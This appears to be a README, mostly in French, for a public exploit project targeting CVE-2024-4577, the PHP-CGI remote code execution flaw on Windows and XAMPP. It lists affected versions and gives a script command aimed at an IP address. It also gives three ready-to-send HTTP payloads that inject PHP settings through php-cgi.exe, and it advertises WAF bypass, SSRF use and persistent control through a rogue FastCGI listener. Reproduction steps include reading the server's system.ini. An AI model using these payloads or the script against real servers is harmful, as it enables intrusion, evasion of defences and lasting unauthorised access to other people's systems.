CVE-2024-4577-PHP-RCE

Présentation du projet et principe

• Premier exploit au monde utilisant l'environnement PHP par défaut (XAMPP) pour la vulnérabilité CVE-2024-4577 PHP-CGI RCE.
• The world's first CVE-2024-4577 PHP-CGI RCE exploit utilizing the default PHP environment. Sharing original exploit, supports SSRF, supports WAF bypass.
• Permet une exécution de code à distance (RCE) dans l'environnement PHP par défaut. Principe : cgi.force_redirect + REDIRECT-STATUS.
• Nouvel exploit original, prend en charge les scénarios de contournement WAF. Principe : création d'un serveur FastCGI + communication via le protocole FastCGI.
• Nouvel exploit original, prend en charge les scénarios SSRF. Principe : protocole data:// + requête GET.

Avantages de EXP 1

• Permet une RCE sans nécessiter allow_url_include, auto_prepend_file, auto_append_file. Peut inclure n'importe quel fichier ainsi que des fichiers PHP.
• Évite les mots-clés souvent bloqués par les WAF : allow_url_include, auto_prepend_file, auto_append_file.
• Toutes les communications du serveur FastCGI ne sont pas enregistrées par le WAF.
• Écoute sur un nouveau port, permettant ainsi un contrôle persistant du serveur PHP, indépendant d'Apache et de PHP.

Présentation de la vulnérabilité

Information	Contenu
Nom de la vulnérabilité	PHP RCE
Identifiant CVE	CVE-2024-4577
Niveau de risque	Élevé
Type de vulnérabilité	RCE
Difficulté d'exploitation	Faible

Versions concernées

• PHP Windows 8.3.0 <= versions concernées < 8.3.8
• PHP Windows 8.2.0 <= versions concernées < 8.2.20
• PHP Windows 8.1.0 <= versions concernées < 8.1.29
• PHP Windows versions concernées == 8.0.x
• PHP Windows versions concernées == 7.x
• PHP Windows versions concernées == 5.x
• XAMPP Windows 8.2.0 <= versions concernées <= 8.2.12
• XAMPP Windows 8.1.0 <= versions concernées <= 8.1.25
• XAMPP Windows versions concernées == 8.0.x
• XAMPP Windows versions concernées == 7.x
• XAMPP Windows versions concernées == 5.x

EXP 1

Utilisable dans les scénarios de contournement WAF + scénario par défaut :

python CVE-2024-4577-PHP-RCE.py PhpServerHost:PhpServerPort

Exemple :

python CVE-2024-4577-PHP-RCE.py 123.123.123.123:80

EXP 2

Utilisable dans les scénarios SSRF + scénario par défaut :

http://PhpServerHost:PhpServerPort/php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+-d+allow_url_include%3d1+-d+auto_prepend_file%3d"data:XCANWIN/XCANWIN;base64,PD9waHAgZGllKCJUZSIuInNUIik7Pz4g"

EXP 3

Utilisable dans le scénario par défaut :

POST /php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost

<?php die("Te"."sT");?>

EXP 4

Utilisable dans le scénario par défaut :

POST /php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost
REDIRECT-STATUS: XCANWIN

<?php die("Te"."sT");?>

Reproduction

1. Environnement serveur :

XAMPP Windows 8.2.12

2. Téléchargement et installation de XAMPP sur le serveur :

https://zenlayer.dl.sourceforge.net/project/xampp/XAMPP%20Windows/8.2.12/xampp-windows-x64-8.2.12-0-VS16-installer.exe?viasf=1

Ou bien choisir une version affectée sur : https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/

3. Configuration serveur

Aucune modification nécessaire, conserver la configuration par défaut

4. Utilisation de l'exploit par le client

Tester avec les exploits ci-dessus

5. Validation

Vérifier si la chaîne "TesT" apparaît, ou le contenu du fichier system.ini du serveur